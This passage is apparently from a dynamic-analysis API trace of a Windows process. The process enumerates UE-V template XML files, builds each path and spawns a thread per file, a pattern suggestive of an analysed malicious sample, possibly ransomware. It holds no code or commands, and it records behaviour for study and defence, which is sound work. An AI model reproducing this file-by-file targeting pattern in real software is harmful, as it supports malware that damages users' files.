ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0075.372] wcscmp (_String1="DesktopSettings2013.xml", _String2=".") returned 1 [0075.372] wcscmp (_String1="DesktopSettings2013.xml", _String2="..") returned 1 [0075.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c750 [0075.372] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0075.372] wcscat (in: _Dest=0x347c750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0075.372] wcscat (in: _Dest=0x347c750, _Source="DesktopSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" [0076.614] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0077.610] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0077.610] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2=".") returned 1 [0077.611] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2="..") returned 1 [0077.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6a68 [0077.611] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.611] wcscat (in: _Dest=0x33e6a68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.611] wcscat (in: _Dest=0x33e6a68, _Source="EaseOfAccessSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" [0077.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0077.611] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0077.611] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2=".") returned 1 [0077.611] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2="..") returned 1 [0077.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1300 [0077.611] wcscpy (in: _Dest=0x33f1300, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.612] wcscat (in: _Dest=0x33f1300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.612] wcscat (in: _Dest=0x33f1300, _Source="MicrosoftInternetExplorer2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" [0077.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0077.612] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0077.612] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2=".") returned 1 [0077.612] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2="..") returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428f98 [0077.612] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.612] wcscat (in: _Dest=0x3428f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.612] wcscat (in: _Dest=0x3428f98, _Source="MicrosoftInternetExplorer2013Backup.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" [0077.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0077.613] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0077.613] wcscmp (_String1="MicrosoftLync2010.xml", _String2=".") returned 1 [0077.613] wcscmp (_String1="MicrosoftLync2010.xml", _String2="..") returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bad8 [0077.613] wcscpy (in: _Dest=0x347bad8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.613] wcscat (in: _Dest=0x347bad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.613] wcscat (in: _Dest=0x347bad8, _Source="MicrosoftLync2010.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" [0077.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0077.614] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0077.614] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2=".") returned 1 [0077.614] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2="..") returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eac30 [0077.614] wcscpy (in: _Dest=0x33eac30, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.614] wcscat (in: _Dest=0x33eac30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.614] wcscat (in: _Dest=0x33eac30, _Source="MicrosoftLync2013Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" [0077.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eac30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0077.615] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0077.615] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2=".") returned 1 [0077.615] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2="..") returned 1 [0077.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaeb0 [0077.615] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.615] wcscat (in: _Dest=0x33eaeb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.615] wcscat (in: _Dest=0x33eaeb0, _Source="MicrosoftLync2013Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" [0077.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eaeb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0077.616] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0077.616] wcscmp (_String1="MicrosoftNotepad.xml", _String2=".") returned 1 [0077.616] wcscmp (_String1="MicrosoftNotepad.xml", _String2="..") returned 1 [0077.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf00 [0077.616] wcscpy (in: _Dest=0x347bf00, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.616] wcscat (in: _Dest=0x347bf00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.616] wcscat (in: _Dest=0x347bf00, _Source="MicrosoftNotepad.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" [0077.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0077.617] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0077.617] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2=".") returned 1 [0077.617] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2="..") returned 1 [0077.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6b10 [0077.617] wcscpy (in: _Dest=0x33e6b10, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.617] wcscat (in: _Dest=0x33e6b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.617] wcscat (in: _Dest=0x33e6b10, _Source="MicrosoftOffice2010Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" [0077.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0077.618] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0077.618] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2=".") returned 1 [0077.618] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2="..") returned 1 [0077.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e5fe8 [0077.618] wcscpy (in: _Dest=0x33e5fe8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.618] wcscat (in: _Dest=0x33e5fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.618] wcscat (in: _Dest=0x33e5fe8, _Source="MicrosoftOffice2010Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" [0077.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0077.618] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0077.619] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2=".") returned 1 [0077.619] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2="..") returned 1 [0077.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f13b0 [0077.619] wcscpy (in: _Dest=0x33f13b0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.619] wcscat (in: _Dest=0x33f13b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.619] wcscat (in: _Dest=0x33f13b0, _Source="MicrosoftOffice2013BackupWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" [0077.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f13b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0077.619] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0077.619] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2=".") returned 1 [0077.619] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2="..") returned 1 [0077.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1250 [0077.619] wcscpy (in: _Dest=0x33f1250, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.619] wcscat (in: _Dest=0x33f1250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.620] wcscat (in: _Dest=0x33f1250, _Source="MicrosoftOffice2013BackupWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" [0077.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0077.620] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0077.620] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2=".") returned 1 [0077.620] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2="..") returned 1 [0077.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34281f0 [0077.620] wcscpy (in: _Dest=0x34281f0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.620] wcscat (in: _Dest=0x34281f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.620] wcscat (in: _Dest=0x34281f0, _Source="MicrosoftOffice2013Office365Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" [0077.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34281f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0077.621] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0077.621] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2=".") returned 1 [0077.621] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2="..") returned 1 [0077.621] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428a90 [0077.621] wcscpy (in: _Dest=0x3428a90, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.621] wcscat (in: _Dest=0x3428a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.621] wcscat (in: _Dest=0x3428a90, _Source="MicrosoftOffice2013Office365Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" [0077.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0077.622] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0077.622] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2=".") returned 1 [0077.622] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2="..") returned 1 [0077.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e69c0 [0077.622] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.622] wcscat (in: _Dest=0x33e69c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.622] wcscat (in: _Dest=0x33e69c0, _Source="MicrosoftOffice2013Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" [0077.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e69c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0077.623] FindNextFileW 